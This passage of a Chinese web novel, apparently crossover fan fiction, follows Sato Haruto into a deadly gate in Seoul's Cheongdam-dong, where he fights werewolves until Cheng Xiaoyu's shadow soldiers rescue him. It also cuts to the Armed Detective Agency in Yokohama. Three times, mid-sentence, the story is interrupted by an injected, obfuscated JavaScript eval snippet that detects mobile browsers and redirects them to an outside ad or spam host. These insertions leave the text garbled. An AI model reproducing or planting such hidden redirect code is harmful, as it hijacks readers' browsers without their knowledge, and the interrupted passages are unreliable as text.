佐藤阳翔从前和芥川龙之介同睡一屋,两个人就躺在各自的床上,偶尔借着漆黑的夜色有一搭没一搭地聊天;后来和东方仗助睡在一张床上,也是每人一套自己的被褥。虽然佐藤阳翔每次醒来的时候都会被东方仗助锁喉,至少两个人入睡前都规规矩矩的,并没有什么逾矩的地方。 但这一次,佐藤阳翔第一次有了煎熬的感觉。 熄了灯的酒店房间里,依旧保持着微弱的亮光——这都益于窗外灯火通明的首尔。韩国人不睡觉的传言绝不是空穴来风,哪怕现在的时间已经远远超过了午夜十二点,遍地的灯光依旧在浅蓝色的夜晚之中闪烁。 窗外的树木像散开的头发般随风飘扬,它和呼啸的风声是今夜唯一的背景音。 程肖宇紧紧地将佐藤阳翔抱在怀里,一只手正好绕过对方的腰肢,掌心正好擦过佐藤阳翔的腰线,垂下的指尖伴随着呼吸起伏,时不时碰到他的皮肤,激起细密的痒意;空出的另一只手则极其自然地抚摸着对方的发顶,这是一个充满保护欲的姿势——虽然程肖宇现在呼吸稳定,但佐藤阳翔知道对方其实没有睡着。 他的脑袋就挨着程肖宇的心脏。越是沉寂的夜晚,心跳的杂音便越显得沉重。 佐藤阳翔有点无奈。 这个场景还要追溯到半小时前,在获知有关溺睡症的情报后,佐藤阳翔还是决定再跑一趟传送口,毕竟弗朗西斯女儿的症状和程肖宇提供的情报稍有出入——在被卷入传送口之前,她从未产生过类似的情况,溺睡症的效果既然相当于慢性毒药,那应该在她陷入完全沉睡之前有所预兆才对。 “说不定那个传送口有什么与众不同的地方。”佐藤阳翔说,“我还是得去跑一趟。工会说最快明天上午就能安排我进入清潭洞的传送口。” 程肖宇闻言,屈起食指略微沉思道:“既然如此,那我也跟着哥一起去吧。” “那恐怕不行。” 佐藤阳翔说着,在对方疑惑的眼神中打开手机,拨通了一个电话——负责交接管理政府与异能者工会事务的李议员一看见来电显示是佐藤阳翔的名字,今晚被戏弄的火气马上就起来了,立刻对着话筒开始破口大骂,恨不得一点插话的空闲都不留给对方。 佐藤阳翔虽然对韩语一知半解,但众所周知,骂人的话一般会在全世界范围内流通。于是他不等李议员发泄完,就又淡定地说了一声“这次我真的录音咯”,然后在对方卡住一口气的时候,轻飘飘挂掉了电话。 他叹了一口气,向程肖宇解释道:“因为一些意外,我和韩国负责清潭洞传送口事务的官员的关系不太友善,所以...” “我明白了。” 程肖宇似乎很能理解这种处境——无论是在哪一个世界,和官方打交道都是一件非常耗费精力的事。他点点头,很快就把这件事轻飘飘地翻篇,“那哥明天要小心一点。时间不早了,早点休息吧。” 原以为要耗费许多口舌解释的佐藤阳翔,不由得暗暗松了一口气。 这么一看,程肖宇还挺好说话的。 所以,当程肖宇掀开被子邀请他共眠的时候,佐藤阳翔还以为这名青年就和他表现出来的性格一样,冷静、强大、好说话。这样的人一般都和芥川龙之介一样,有着很清晰的边界感,不允许他人轻易踏足自己的领地。 在佐藤阳翔的设想中,自己应该和程肖宇规规矩矩地分睡两边;即便要盖着同一床被子,他们也应该保持着泾渭分明的距离才对。 直到熄灯以后,他才发现自己简直就像掉进狼圈里的羊羔。 佐藤阳翔本想翻个身,但他发现自己根本挣扎不开,程肖宇的力气大得与本人外形毫不相符——但他毕竟能在百米开外仅凭一击就贯穿巨魔的喉咙,其肌肉密度和四肢力量当然无法用正常人的认知来衡量。 反正也挣扎不开,对方也没有要放手的意思。在这种禁锢式的温暖中,忙了一整天的佐藤阳翔,睡意终于和潮水一下涌了上来。他逃避的距离越来越短,直到最后,几乎这个人都埋进了程肖宇为他筑好的温床,呼吸频率稳定,很快就睡着了。 黑暗中,一双蓝灰色的眼睛悄然张开。 程肖宇注视着在自己怀里已经睡着的佐藤阳翔,抚摸着对方发顶的手也略微移开了位置。指腹掠过鬓发、侧脸、眼睫,最后停顿在对方的柔软的嘴唇上。 月光之下,他们融于一体的影子似乎突然有了生命力一般,从雪白的床铺开始一路向下流动,最终溢出至床外的地板,一道漆黑的身影逐渐隆起,最终出现在了月光之下。 那是一名完全由暗影构成的铠甲士兵。它身披长甲,低着头应召半跪在地上,沉默着向它的主人献上最忠诚的敬意。 程肖宇低声命令道:“跟着他。” 暗影士兵领命,顷刻间便又消失在了原地。而佐藤阳翔原本被诡异拉长的影子,也逐渐变回了原样。 程肖宇重新伸出手,自然而然地将对方又揽进了怀里——一切都宛如无事发生。 116 第二天早上,佐藤阳翔满血复活。 前一天的舟车劳顿、疲惫不堪,全都在睡梦的洗礼下化为了泡影。 他不得不承认,自己昨夜被程肖宇抱在怀里时居然睡得非常好;他们今早睡醒以后,也并没有佐藤阳翔想象得那么尴尬,气氛甚至十分自然、温馨。 佐藤阳翔醒来的时候,时间其实还很早,至少从窗边望下去的时候,距离最近的那家咖啡馆还是闭业的状态;但程肖宇竟然已经从外面回来了——他不知道去哪家服装店购置了一套合身的衣服,整个人看起来简直像从时装画报里走出来的模特。 “你这么早就出门了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185028|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “嗯,出去走走。” 程肖宇随手脱掉外套,里面是一件简单的黑色高领上衣。袖子被他上拉至手肘,恰好露出线条流畅的小臂;再加上他本来就身形高大,宽肩窄腰,站在佐藤阳翔面前的时候,带来的视觉冲击力更加明显。 黑色高领上衣,不愧是男人最性感的衣服。 等佐藤阳翔洗漱完毕,程肖宇已经把给他带的早餐热好,并且体贴地放在了桌前:一块夹着咖喱鸡肉的三明治,和一杯加了很多方糖的拿铁——他显然对佐藤阳翔古怪的口味了如指掌。 早餐的香气让佐藤阳翔心情愉快,他甚至忘记扣上衬衫最上面的扣子,便毫无防备地坐到了早餐前,打算就着温暖的阳光享用美味的食物。 “哥打算什么时候出门?” 佐藤阳翔咬着三明治,含糊道,“唔,等吃完早饭就走。” 老实说,他其实并不希望程肖宇太关注这件事。 “你如果对这个世界感兴趣的话,待会儿可以多出去走走,不过最好不要跑太远,毕竟首尔平常的人流量还是挺...” 佐藤阳翔的声音却戛然而止,因为程肖宇突然毫无预兆地凑了上来,低下头替他将衬衫扣好。 青年宽大的手掌隔着一层衬衫布料,意外触碰到佐藤阳翔肩膀的伤疤——那是他从前在港口mafia时期留下的旧伤,经过岁月的洗礼,当初的疤痕已经像蚯蚓的身体一样鼓了起来。 程肖宇垂下眼眸,他发现佐藤阳翔身上伤疤的位置不止在肩膀,还有小臂、胸口... 在对方逐渐凝重的眼神里,佐藤阳翔不太自然地侧过头:“呃...肖宇,你怎么了吗?” 程肖宇回过神来:“不,没什么。” “咳,总而言之,首尔的人流量还是蛮大的。” 佐藤阳翔深吸一口气,重新拾起了话头,强行把被对方夺走的注意力集中回来,“不过你没有语言隔阂,一个人回酒店应该不难——如果饿了的话就去附近的餐厅吃饭吧。对了,你身上的钱还够吗?” 程肖宇却没有正面回答:“哥。” “...怎么了?” 他给自己倒了一杯冰水,面色如常:“我听说清潭洞附近有一家著名餐厅。等哥的工作结束以后,我们就一起去吧。” 这就是程肖宇在佐藤阳翔进入清潭洞传送口之前说的最后一句话。老实说,他没有在关键时刻突然说要跟着一起过去,就已经足够给佐藤阳翔省事了。 但不知道是不是自己的错觉,佐藤阳翔的心中始终有一种莫名的感觉:与其说程肖宇脸上的表情是冷静,倒不如说,那更像是一种胜券在握。 ——他甚至已经开始用酒店的电话订位置。 佐藤阳翔还来不及细想这种怪异究竟从何而来,手机便嗡嗡作响。 他打开屏幕,老约翰的消息突然弹出。 信息很简短。 但佐藤阳翔只看了一眼,眉头便狠狠拧了起来。 【约翰·勒卡雷:清潭洞传送口,又有人死了。】 63.第六十一章 117 佐藤阳翔赶到清潭洞传送口外的时候,现场已经被记者、警察和路人围得水泄不通;躺在地上呈一字排开的,粗略一看大约有十几个人。尸体没有被白布包裹,就这么大咧咧地被扔在街上,给清潭洞的街道带来了忧似噩梦的痕迹。 等佐藤阳翔开启异能传送到人群中心后,才发现尸体的身上到处都是黑色的瘀青——更加触目惊心的是,他们整张皮都像被蛮力撕开了似的,体内的血已经被放干,内脏也不翼而飞,近乎平铺在地上,表情狰狞可怖,死前似乎经历了什么恐怖到极点的场景。 他快速数了一下数量: 不多不少,刚好十四具。 尽管现场呕吐的声音此起彼伏,但那群善于捕捉猎奇的摄影师们,依旧敬业地将镜头对准了地上的那些尸体。 佐藤阳翔敏锐地从这个数字中察觉到了一丝不对劲,他皱起眉头:“这是怎么回事?不是说要至少集齐十五人才能进去吗?” 老约翰不由得朝他苦笑:“我说过——除了异能者,这个世界上和你一样的赌徒和财迷还有很多。” “他们这群人不顾工会禁令,仗着自己拿到了官方的文件,趁警察一个不注意冲了进去。” 他转过身,低声道,“进入清潭洞的人都无一善终,绝大多数的异能者都对这里避而远之,毕竟异能者们还可以通过攻下其他危险系数更低的传送口来赚钱。” “现在愿意进入清潭洞里的,几乎都是缺钱到极致的亡命之徒。”约翰说,“恰恰是这些人最容易发疯——因为他们已经被金钱蒙蔽了双眼。” 约翰·勒卡雷冷漠且无情地看着尸体,再次深深吐了一口烟,模糊的烟圈和呛人的烟草味,反而使他的眼神变得更加犀利:“过分高估自己的人,是不会有好果子吃的。” 然而,佐藤阳翔听着这样的解释,却觉得荒诞又好笑。 这里是首尔江南区,著名的富人聚集地。住在传送口附近的居民往往身份不凡——这也是清潭洞传送口的价格会飙至如此天价的最大原因;但传送口正属异能者工会的管理范畴。为了不被有钱人找麻烦,警察和工会都应该对来往之人看得很严才对。 约翰按住胸口,遗憾地摇了摇头:“这就是不敬畏力量的下场...神不会来到愚者的身边。” “神?” 佐藤阳翔顿了顿,突然问道,“您认为神真的存在吗?” 约翰·勒卡雷颔首:“当然。” “但是您看起来不像是信教的。” “哦?”约翰·勒卡雷笑了,“看来你还是不太了解我。事实上,我在出行时总随身带着圣经和十字架项链,了解我的人都知道我是一名忠实的教徒——在加入工会之前,大家还以为我是教堂的神父。” “是吗?约翰先生,我倒觉得是他们不了解您。” “何以见得?” “因为您对这些亡命之徒并没有怜悯之心。” 佐藤阳翔扭过头,全然没有注意到约翰的表情在一瞬间微妙地变了,自顾自地说道:“一名虔诚的信徒,在死者出现后应该会为他们祷告,帮他们整理好最后的衣装,而不是放任闪光灯对准他们的遗体。” “更何况,谁说随身携带圣经和十字架的,就一定就是耶稣的信徒?” “哦?那还有可能是谁?” 不等佐藤阳翔回答,原本还在围观尸体的记者却突然换了摄影对象,在几名领头者的带领下,一个个都扛着摄影机和麦克风冲了上来,轻而易举地便冲垮了警察聊胜于无的防线。 不知道是谁先认出佐藤阳翔的——他甚至从来都没有向外报出过自己的名字,一个个犀利的问题便伴随着闪光灯接踵而至: ——“你就是佐藤阳翔吗?昨天晚上怪物从传送口跑出来的时候,你是不是在现场?” ——“请问你身为日本人,来到清潭洞的这枚传送口是想做什么呢?是想要窃取他国情报吗?” ——“工会招募的所有同行者都死去了,你作为近期唯一一名肯进入清潭洞传送口的异能者,能对这件事发表一些什么意见吗?” ——“你认为这和日韩之间的政治排挤有关系吗?” ...... 应接不暇的问话让佐藤阳翔完全没有插嘴的机会。在记者们的连番轰炸下,话题也变得越来越诡异。 原本大众的注意力都集中在这十四具尸体,以及他们进入传送口的契机究竟为何,转眼之间又被舆论的风向带到日韩关系,以及佐藤阳翔本人身上。 他独自站在“咔嚓”不断的闪光灯下,有些不适地眯起了眼睛。 这时,一枚话筒又递到了佐藤阳翔的面前。 “你是世界上第一个传送口中唯一的幸存者吧?现在清潭洞传送口的攻略人员只剩下你一人,你打算待会儿怎么攻略传送口呢?”记者大声问,“还是说,你打算逃跑,退出本次攻略?” 三言两语间,对方就把佐藤阳翔的路堵死了。 逃跑,这是一个很狡猾的说法。 异能者工会的准入要求是至少十五人,但这个标准他们从未对外公布过——如果工会代表靠谱的话,他们和官方都应该在这个时候站出来,向大众为自己的监管不严而道歉。 但约翰只是站在人群之中,仿佛被世界遗忘了一般,隔着遥远的人群目光犀利地看着佐藤阳翔。 在万众瞩目之下,佐藤阳翔终于开口:“不,我不会退出。” 一方面,佐藤阳翔本就没对另外十四个人抱有希望;另一方面,弗朗西斯给他预留的时间所剩无几。此话一出,瞬间引起了众人的议论;他独自站在阳光下,就像空手朝着庞大的冰河奋勇前进的野蛮人,被人再次注以怜悯和哀悼的眼神。 “那么,在进入传送口之前,你能对准镜头说最后一句话吗?” 酒店内,程肖宇打开电视,迎面跳出的便是电视台的“特别访问”。镜头下,青年用那双罕见的金色双眸,直勾勾盯着某个方向,唇角似乎勾起了一抹特别的笑容,不知是讽刺还是调侃。 他莫名其妙地说:“你们知道吗?随身带着圣经,和十字架的人,其实不一定是信徒。还有可能是披着人皮的恶魔。” 118 佐藤阳翔进入传送口的时候是独身一人。无数摄影机将他独身走入传送口的瞬间捕捉下来,一时之间居然在各大网站开始疯传。 程肖宇恰好在此时出门,一出电梯门就听见了宾客的议论纷纷。知道他是和佐藤阳翔一起的前台,也忍不住用诡异的眼神打量着眼前这名淡定自如的黑衣青年——不过,他并没有在意,反而来到前台询问起前往清潭洞某餐厅的乘车路线。 前台有些手忙脚乱地为他翻出路线图:“啊?啊...如果要去这个地方的话请乘坐xx路公交...” 程肖宇颔首:“谢谢。” 伴随着他远去的身影,另一名前台忍不住偷偷吐槽:“同伴正身处险境,他还有心情去高级餐厅啊?真是人不可貌相...” 而为程肖宇指路的前台,终于回过神发现了某个盲点。她回想起对方说的地址,拿起手册一看:“呀,这不是那个很有名的情侣餐厅吗?” 清潭洞传送口内。 佐藤阳翔一进入,便感受到了一种与外界截然不同的气氛。这里竟然是一片广阔的草原,时间是夜晚,风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194209|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼呼吹过,篝火的味道和血腥的气味提醒着他这里是怪物出没的地方——他取出包中的长刀,尝试着催动自己的异能,果不其然消失了。 这里,果然是个无法使用异能的地方。 他继续往前走,忽然听见风中传来某种异动,常年养成的战斗本能让佐藤阳翔在第一时间便提刀挡在了身后,刀身立即传来尖锐的撞击声,像是与野兽的爪牙撞击在了一起,他侧过头,只看见了犹如野狼的灰黑色毛发。 四周又恢复了静悄悄的气息,广阔的草原一览无余。 佐藤阳翔瞬间明白为什么有那么多人在这里悄无声息地死去了——这里的怪物,仅凭人类的眼睛是无法看穿的,只能凭借一闪而过的杀气精准格挡。 他闭上眼睛,握紧手中的刀柄,决定先忘掉战斗,只考虑格挡和察觉方位的事。越是空旷的环境,对他而言就越有劣势——佐藤阳翔只能以一种继慢的速度前进,调动全身感官感受着随时可能出现的伏击。 来了! 他及时侧身闪过,将手中刀刃调转方向,第一刀就砍在敌袭的腿上,炙热的鲜血果不其然喷涌而出。怪物刚一趔趄倒下,第二刀就已经插进了它的嘴里。 佐藤阳翔踩住它的肩膀,将刀重新拔出,插进了同样能限制对方行动的部位,脚下的怪物瞬间挣扎起来,但由于被刀钉在地上,身影像受到某种光学伪装似的,在黑暗中消失又重现。 幸运的是,它已经逃不出这种桎梏。 眼前的怪物长相奇特,狼头人身,有着狼一般锋利的牙齿和爪牙,同样兼备人类的敏捷性,体型与成年正常男子差不了太多。 佐藤阳翔略微清楚了一点,狼人的消失并不是一种类似空间转移的能力,而是通过欺骗眼睛来达成的效果,最好的攻击方式就是限制它们的活动范围。 他抬手擦了一下被溅到血迹的右脸,不紧不慢地道:“我有事问你。” 狼人发出口齿不清的咆哮,嘴中咔啦咔啦说着一串晦涩难懂的语言。 它们有自己的语言? 佐藤阳翔却眼神一凛,第一时间拔出了长刀,这才后退几步,堪堪挡住了来自身侧的袭击。 第二只狼人出现了。 随后,越来越多的狼人,犹如夜晚出巡的士兵般,流着诞液,露出了尖利的獠牙。它们出现在佐藤阳翔的面前,却不再像第一名狼人那样向佐藤阳翔进攻,而是针锋相对地对峙一会儿,仿佛在等待主人下号令。 ...等等,等待主人? 佐藤阳翔这才发现,每一只狼人的身上都有一个小小的红色标记,而那个“标记”,更像是用利爪或尖刀刻出来的字,为了保持它的颜色,印记仍在汩汩流着鲜血。 就在这时,第二只狼人动起来了——但它的目标居然不是佐藤阳翔,而是被他曾用刀钉在地上的狼人。 其他几名狼人罔顾人类诧异的眼神,将反抗的狼人按在地上,第二只狼人则祭出长爪,像切菜那样将同伴的身体割开,然后它们开始享用它的内脏、血液。 即便是佐藤阳翔,也不得不强压下胃部的翻涌,将视线从这种场面移开。 传送口外的那十四个人,也是遭受了这样的酷刑么? 一阵野蛮的分食过后,狼人终于抬起头,用舌头舔舐着嘴上的鲜红。在这样渗人的夜晚,第二只狼人发出晦涩难懂的吼叫,但佐藤阳翔却诧异地发现,它口中的语言却越来越接近人类——直至最后,完全成为人类的语言。 那是一种韩语混杂着英文的语言。使用起来非常怪异、蹩脚,但佐藤阳翔还是切切实实地听懂了。 “人类,跟我们来。”它说,“我们的主在等你。” 64.第六十二章 119 这是佐藤阳翔第一次听见传送口中的生物使用人类的语言——正如一般人不会花心思去思考蚂蚁、老鼠、蟑螂平日都过着什么样的生活,他在此之前也仅仅只是将魔兽们当成一种没有意识,只想着虐杀人类的怪物。 但当它们口吐人言的那一刻,一种说不上来的怪异感顷刻油然而生。 为首的狼人,在向面前的人类发出通知后,便动作一致地转身离开了——简直就和有独立意识的人类一样,对吧? 但它们流着诞水的嘴和尖利的獠牙,又实实在在强调着这群怪物和人类的区别,它们的眼睛里折射出森绿的精光,肚皮瘪下去,时不时用贪婪的眼神扫过佐藤阳翔,这显然是一种饥肠辘辘的状态。 佐藤阳翔除了跟上去,别无选择。 人类的身手再矫健,面对几十头能隐蔽身形、出招毫无规律的狼人围猎,也很难活下去。在这个传送口之中,人类渺小无力如同蝼蚁——更何况,现在的他连异能都用不了。 佐藤阳翔只能一边保持着警惕,一边跟随着狼人往草原深处前进。不知道过了多久,天边终于亮起了一抹阳光,整片草原像掉进牛奶桶一样,清晨泛起白雾,昭示着阴森的长夜已经过去。 他半眯起眼睛。 遥远的天际下,似乎有什么漆黑的东西正立在那里。直到走近的那一刻,佐藤阳翔才开始觉得莫名毛骨悚然——那竟是一排训练有素、宛如人类士兵的狼人士兵,数量多到随时可以参与一场战争。 带他抵达目的地的狼人们,则纷纷自觉地趴下四肢,垂下头颅,竟以野兽的姿态爬行至为首狼人的身边,仿佛只是一群受到豢养的家犬。 而那只身披铠甲的狼人首领,只是用森然冰冷的兽瞳,瞥了一眼面前的佐藤阳翔。那副居高临下的姿态,无由来地让人心生惧意;但凡站在这里人不是佐藤阳翔,恐怕早已两股战战,动弹不得。 佐藤阳翔的第一反应就是: ——如果这群怪物出现在人类的世界,必将造成毁灭式的打击。 就在这时,一直沉默着的狼人首领忽然开口了。 【“他,不是我要的人。”】 它似乎对佐藤阳翔非常不满意,皱着眉头,口中吐露出晦涩难懂的魔兽语言。将佐藤阳翔带到首领面前的狼人们瞬间露出惶恐的神情,口中发出示弱且紧张的嚎叫,将头颅垂得更低。 【“你们这群没用的废物。”】 随着一句轻飘飘的魔兽语落下。下一刻,站在首领身后的那排狼人士兵齐齐举起爪牙,竟突如其来地将那伙身上带有血痕印记的狼人开膛破肚。 这回轮到佐藤阳翔愣住了。 这个传送口里的怪物,无论是残暴程度,还是社会等级,都远远超乎了他的想象——这伙狼人残杀同伴,将身上带有印记的同类视为随时可以宰杀啃食的牲畜;同时,它们又严格遵守着首领的命令,甚至可以通过特定语言,像人类一样进行交流。 直觉告诉佐藤阳翔,眼前的狼人首领很危险。 他用余光丈量了一下他与狼人首领之间的距离。 现在这个距离不适合偷袭,自己的异能在这里完全无法使用,如果想要出奇制胜的话,还得将距离再缩短一些才行。 如果能先和敌人进行假意交流,再借着交流的时候伺机靠近的话... 下一刻,那双森然的兽瞳便出现在了佐藤阳翔的面前。 ——奇怪,它是什么时候靠近的...? 他不由得瞳孔猛地一缩。由于在这里无法使用异能,佐藤阳翔甚至来不及做出反击,他的脖子便被狼人首领像抓虫子那样,轻而易举地捏在了手里。 然而,就在佐藤阳翔以为自己死定了的时候,突然靠近的狼人首领却没有继续对眼前的人类出手,甚至还抬手止住了预备进攻的下属。 它耸动着鼻尖,在佐藤阳翔的衣领附近嗅闻。 “奇怪...真奇怪。”狼人首领奇怪地说,“你不是他。但是你的身上,为什么会沾着那家伙的臭味?” 来不及思考狼人首领究竟在说什么东西,在这种随时可能断送掉性命的时刻,佐藤阳翔没有时间浪费在犹豫上。 他当机立断,持刀的一只手猛然抬起,刺向卡住自己咽喉的手。但与此同时,一股巨大的力量也按住了刀身,狼人首领空出的那只手正按在上面,唯有那柄长刀在双方的角力之下抖动着。 佐藤阳翔借力抬脚,用腿绞上了敌人的脖子。就在狼人首领勃然大怒,松开佐藤阳翔脖子的那一瞬间,他立刻抓住时机,脚下用力一蹬,整个人便犹如雨燕般轻盈地窜了出去。 “咳...咳咳咳...” 他借着刀身勉强站立,不得不捂住喉咙,上面已经留下了一圈麻木和刺痛的血痕。 “人类,看来你还没认清自己的处境。” 狼人首领终于露出了嗜血的本性。它伸出舌头舔了舔嘴唇:“让我来告诉你吧,进入狼群之中的猎物会是什么下场。” 120 横滨,旧晚香堂。 这里是武装侦探社的临时据点。面对港口mafia与【组合】的双重威胁,福泽谕吉早早就吩咐了社员们离开社楼,大战的氛围几乎一触即发;但中岛敦,从今早开始就始终不在状态。 “打起精神来,小子。”国木田独步察觉到他的状态不太对劲,“侦探社现在正值生死存亡的时候,你在发什么呆?” 侦探社刚做好人员的应战分配——作为攻击组的一员,中岛敦已然从当初的菜鸟新人成长为了侦探社可靠的守护者。他应该集中所有的精神,聚集在对付港口mafia和【组合】上,而不应该浪费在自己的不安状态里。 “对不起,我会调整的。” 他深吸一口气,一边道歉一边努力平复着内心的焦躁,决定先自己一个人去角落里呆一会儿。 太宰治将中岛敦的异样收入眼底,一手按住了还想说些什么的国木田独步,对他摇了摇头。 今天上午,花袋为武装侦探社检索到了一则韩国新闻——他作为一名可靠的同伴,他的异能力在调查分析网络情报时非常便利,因此受托关注佐藤阳翔在韩国的一举一动。 而佐藤阳翔独自进入清潭洞传送口的新闻,已经登上了韩趋第一。最后那道坚决且孤独的背影,已经被当地社媒大肆宣传,新闻上更是挂着《S级传送口迎来新的挑战者,恐成为今日第十五具遗憾》这样的标题。 新闻报道里,今日刚被抬出的十四具尸体被打上了重重的马赛克——但即便隔着厚厚的水印,中岛敦也能感受到现场那惊心动魄的惨烈。 原本定好的十五人攻击小队突然只剩下了佐藤阳翔一人,韩国异能者工会与官方双双装死,甚至还在镜头下为了指责问题互踢皮球,试图把舆论的水搅得更浑浊一些。 “我已经说了,攻掠传送口的事,是由异能者工会主管。监视攻掠者的工作,难道都要让警察来做吗?那十四名攻略者的私自闯入,和监管部门无关。” 镜头下,接受采访的李议员一脸义正严辞。 记者急忙问:“议员先生,您觉得佐藤阳翔能仅凭一个人攻下S级传送口吗?” 议员的嘴角抽动了一下,但弧度向上,不知道是不是正在拼命压抑着心中的幸灾乐祸。 面对众人的询问,李议员没有正面回答,而是摆出了和办公室相框里一样的姿态,充满正义地说:“我们现在只能寄希望于相信佐藤先生。但S级传送口的凶险程度,大家也有目共睹,只希望他能平安归来吧。” 看到这里时,中岛敦的脸当场唰地一下就白了。 S级传送口...佐藤阳翔要进入的传送口,根本就没有人能全身而退... 但在佐藤阳翔离开的前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199585|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天,他曾在夕阳下向自己许诺——他会回来,并且是毫发无伤地回来。 他在说谎,他又在说谎... 中岛敦用力攥紧拳头,低下头将不甘心的紫金色眼眸藏在阴影之中。不知道过了多久,和中岛敦一组的太宰治才出现在了他的身边。 “太宰先生?我们现在要出发了吗?” 攻击组每日都有任务在身。即便中岛敦无法鼓起精神,也不得不强迫自己把注意力放回正事上。 现在的重点,是守护武装侦探社。 太宰治低头看了一眼中岛敦,回想起佐藤阳翔临走前,在拐角处和自己的最后一次对话,不由得在心底长长叹了一口气。 唉...真不想替他干这种事啊。 太宰治清了清嗓子:“...他不会有事的。” “太宰先生?” “佐藤君是死过一次的人。”太宰治说,“他有办法活着出来——更何况,他那特别的空间系异能用来逃跑,不是再合适不过吗?这次攻略传送口的异能者只有他一个人,没有人能拖他的后腿,你还怕他不能活着回来吗?” 原本黯淡的眼眸,终于再一次被点亮。 “佐藤君说不定已经从传送口里出来了。”太宰治说,“所以,敦。打起精神来——在佐藤君独自奋战的时候,你也不能在这个时候掉链子。” 佐藤阳翔的异能方便程度,中岛敦是有目共睹的。当初佐藤阳翔即便和芥川龙之介一起进入了凶险的传送口,没能攻掠里面的怪物,但不也好端端地活着出来了吗? “...我知道了。”中岛敦吐出一口气,伸手按住胸口,“我相信佐藤先生,只是我有点...莫名的不安。” 他一定能好端端出来的吧。 被善意的谎言再一次欺骗的中岛敦很快调整过来,向太宰治点点头,重新变回了之前那个可靠的,拥有着强大保护异能的中岛敦。 他没有看见,太宰治的眼眸划过了一丝复杂。 * 另一边,清潭洞传送口内。 奇迹并没有发生。失去异能的人类,在这个传送口中,也不过是一只随便可以碾死的蚂蚁。 几次进攻之下,佐藤阳翔身上已经伤痕累累;而狼人士兵们,则像看见角斗场里拼命逃命的猎物一样,兴奋地高声欢呼着首领的强大。 佐藤阳翔半跪在地上,甚至已经没有力气再用手背抹去溢出口中的鲜血。 在如此高强度的战斗下,佐藤阳翔已经没有活下去的可能——直到最后,他手中的长刀也终于在失力之下,哐当一声砸在了地上。 狼人首领再一次站在了他的面前,森然的眼睛里弥漫着兴趣缺缺的杀意。 “人类啊,你能出现在我的面前,只是因为你身上那股让人讨厌的气味。” “但是,我很失望,非常失望。”它抓起青年的头发,像打量着一堆肉块似的,冷冰冰地道,“你不是我要找的那个人。所以,把你带到这里的无能家伙,都得死。” “但你应该为你的死亡庆幸——因为我会好好享用你的血液和内脏。” 狼人首领高高扬起利爪,目标是人类的心脏。 就在这时,太阳越升越高。阳光映射在佐藤阳翔的身上,他投射在草地上的影子忽然像液体一样涌动了起来——在爪击到来的最后一刻,一名完全由幻影组成的士兵,突然从他的影子里钻出,如同黑色的闪电一般,及时抵挡住了狼人首领的攻击。 “哼,无谓的挣扎。” 突然出现的暗影士兵对狼人首领而言,也只不过是一只瞬间就可以虐杀的小喽啰。它松开抓着佐藤阳翔的手,利爪顷刻间便撕裂了暗影士兵的身体。 但就在暗影士兵即将消逝的那一瞬间,首尔市江南区清潭洞某建筑天台上,一双比暗影更加深沉的眼睛忽然睁开。 那人低声道:“交换。” 65.第六十三章 121 在狼人首领的利爪撕裂暗影的那一瞬间,它原本以为一切都不过是眼前这名人类垂死的挣扎,但下一刻,它不得不为自己的掉以轻心付出代价。 一只手猛然按在了它的脸上,以一种肉眼难以捕捉的速度将它砰地一声砸向了地面。原本即将消散的幻影突然像阳光下蒸发的水汽那样消失了,取而代之的,竟是一名身披外套,穿着黑色高领上衣的青年男子。 佐藤阳翔的瞳孔微缩。 程肖宇为什么会出现在这里?! 眼前周身弥漫着磅礴杀气和暴怒的青年,毫无疑问正是程肖宇本人。 他用那双暗影般深邃的眼睛,冷冷地瞥了一眼被自己扔出去的狼人首领,随后才回头向佐藤阳翔走去。 与此同时,程肖宇身后的影子也越来越长,像在地面滑动的水液一般,最终在草原上投下死亡与强大的黑暗——数不清的暗影士兵从他的身后站起,数量之大甚至能与狼人首领的军队相抗衡。 程肖宇蹲下身,将倒在地上的佐藤阳翔扶起,眉头缠绕着深深的戾气,他不自觉地咬紧牙关:“哥...” 佐藤阳翔斜靠在他的怀里——这时候的他已经因为失血的缘故,整张脸苍白如纸,几乎连说话的力气都没有,只能勉强用手指在程肖宇的手臂上轻轻拍了拍,通过这种方式来示意自己除了外伤外没有别的大碍。 程肖宇原本还想再继续说些什么,可就在这时,一只狡猾的狼人士兵,竟然借着隐身术突现在了他的身后,朝程肖宇的后背高高扬起了爪子。 ——糟了! 现在的佐藤阳翔没有力气再将程肖宇推开,只能下意识地攀住对方的肩膀,试图替他抵挡一些伤害。 突然,一道锋利弧光带着从容的弧度从狼人士兵的身上掠过,将袭击者瞬间劈作两半。狼人的头颅应声滚落,血液浸透了身下的草原。 